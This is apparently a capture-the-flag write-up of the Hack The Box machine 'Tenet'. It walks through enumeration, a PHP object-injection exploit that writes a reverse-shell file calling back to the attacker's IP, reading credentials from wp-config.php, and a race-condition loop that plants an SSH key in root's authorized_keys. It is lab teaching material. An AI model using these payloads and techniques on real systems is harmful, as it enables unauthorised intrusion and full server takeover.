Creator: egotisticalSW
This is a custom exploitation box, and you obviously need to know about PHP Object Injection and a bit of scripting.. Enjoyed solving it and learned new things; apart from the foothold, it's not even a medium-leveled box. I tried to explain the steps as simple as I can. Hope you'll find it useful; if so, consider suporting a student to get OSCP exam and +respecting my profile in HTB.
Now, let me get right into it.
First things first, add tenet.htb 10.10.10.223 line to your /etc/hosts file.
Let's start with nmap:
nmap -sS -sC -sV -p- 10.10.10.223
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelHere we have only one open port except 22/ssh, let's go with that then..
Let's start with the direct ip address of the box, which is 10.10.10.223.
We have only an "Apache 2 Ubuntu Default Page" here. Let's do some further enumeration:
Personally I love gobuster, so I'm going with it. You can go with wfuzz or ffuf or your own tool.
┌──(root💀f4T1H)-[~/hackthebox/tenet]
└─> gobuster dir -q -u http://10.10.10.223 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php -e
http://10.10.10.223/users.txt (Status: 200) [Size: 7]
http://10.10.10.223/wordpress (Status: 301) [Size: 316] [--> http://10.10.10.223/wordpress/]users.txt, hmm interesting. But as you can see below we have nothing but Success string inside it..
We have a wordpress site -which we saw in the nmap result- in /wordpress/ directory.
Let's continue with the wordpress domain then, tenet.htb.
Here we have the wordpress site and some posts..
- Scannning for subdirectories on
tenet.htbonly gives us general wordpress directories. - Nothing interesting in
wpscanresult.
While enumerating inside the page, I found a comment in the post Migration.
Here we got two things:
- A username:
neil - A file named
sator.phpand its backup.
Let's first learn which extensions are being used in backup files..

Okay, now we need to check these 3 backup extensions with their two variations (uppercase and lowercase) and on the two root directories which are tenet.htb/ and 10.10.10.223/.
After the hit and try, I found the files in 10.10.10.223/sator.php and 10.10.10.223/sator.php.bak. Download and move sator.php.bak into your current working directory.
sator.php
sator.php.bak
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>Okay, here comes my explanation:
In a PHP code, if a class has a function named
__destruct; when weunserializethe class, PHP calls the__destructfunction in that class. Problem begins in the class's__destructfunction's content; if the function writes variables' data to a file, then we can exploit it by changing values of serialized class's variables.
- Google to know more about this vulnerability.
- You may want to read this article to make things more clear in your brain.
- If you know Turkish, this article by @mdisec can also be useful for you.
The relationship with our case:
- We see the code looks for a GET input variable "
arepo" andunserializesit. - The function
__destructin the classDatabaseExportusesfile_put_contentsto write the variable data to the file defined in the variableuser_file
Now we need to make some differences on the PHP code to exploit this vulnerability and get a reverse shell. I left the parts we don't need in the code too so that you can see what exactly we changed in the code.
This script we modified writes DatabaseExport class to our local machine, defines the user_file variable as a PHP file and the data as a reverse_shell to our localhost.
<?php
class DatabaseExport
{
public $user_file = 'shell.php';
public $data = '<?php $sock=fsockopen("YOUR_IP_HERE",2121);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>';
// public $user_file = 'users.txt';
// public $data = '';
// public function update_db()
// {
// echo '[+] Grabbing users from text file <br>';
// $this-> data = 'Success';
// }
//
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$url = 'http://10.10.10.223/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));
$response = file_get_contents("$url");
$response = file_get_contents("http://10.10.10.223/shell.php");
//$input = $_GET['arepo'] ?? '';
//$databaseupdate = unserialize($input);
//$app = new DatabaseExport;
//$app -> update_db();
?>Now the only thing we need to do is running a nc listener and firing up the exploit.php.
Attention: Change the ip address part.
💥BOOM We got a shell as www-data!!!
Before escalating to root, let's first become the user neil as you can remember we found him in comments.
There's a /var/www/html/wordpress directory, and usually the wordpress directories contain credentials inside a file named wp-config.php in them.
Now we can SSH into the machine as the user.
Before running anything else, let's check if we have any sudo privileges with sudo -l as we know our password.
neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
neil@tenet:~$/usr/local/bin/enableSSH.sh
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAddedOh, here comes the second fun part, which is a Race Condition
Let me explain what this script actually does:
- First creates a randomly-generated named file format of
/tmp/ssh-XXXXXXXX. Think like you can add change each of "X" characters in the name with any other random character. - Then writes
root@ubuntu's public ssh key inside that file. - After that writes the content of
/tmp/ssh-XXXXXXXX-which now has the public ssh key ofrootinside it- to/root/.ssh/authorized_keys. - And finally deletes the
/tmp/ssh-XXXXXXXXfile.
Now the thing is: There is a race condition here because we can change content of the file created with a simple bash looop before the script gets executed the next line which is adding the content to /root/authorized_keys.
Through this, we can be able to ssh into root@tenet.htb without password or any other thing.
Attention: Make sure you have two ssh connection to the box as the user neil.
Run in your localhost, do not type anything as password or file name, just press Enter.
┌──(root💀f4T1H)-[~/hackthebox/tenet]
└─> ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pubWe need to write our public key immediately to the /tmp/ssh-XXXXXXXX file when /usr/local/bin/enableSSH.sh is running. Because the file is both being creaated and deleted by /usr/local/bin/enableSSH.sh. That means we can't execute write command by hand on time, we need a loop to make things rapidly.
Run this in one of your ssh connections.
Attention: Make sure you copied your public ssh key from ~/.ssh/id_rsa.pub.
neil@tenet:~$ while true; do echo 'YOUR_PUBLIC_SSH_KEY_HERE' | tee /tmp/ssh-* > /dev/null;doneNow we all set, run the script in the other of your ssh connections with sudo privileges and write our public ssh key into root's authorized_keys.
Attention: You need to run the script 7-8 times.
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!
neil@tenet:~$If you've done all the steps that I write, we are now able to ssh root@tenet.htb.
And we successfully pwned the machine...
If you liked my writeup, consider suporting a student to get OSCP exam and +respecting my profile in HTB.
Exploiting PHP Deserialization |
https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a |
|---|---|
PHP Object Injection Saldırıları |
https://www.mehmetince.net/php-object-injection-saldirilari-ve-korunmasi/ |
-Written by f4T1H-










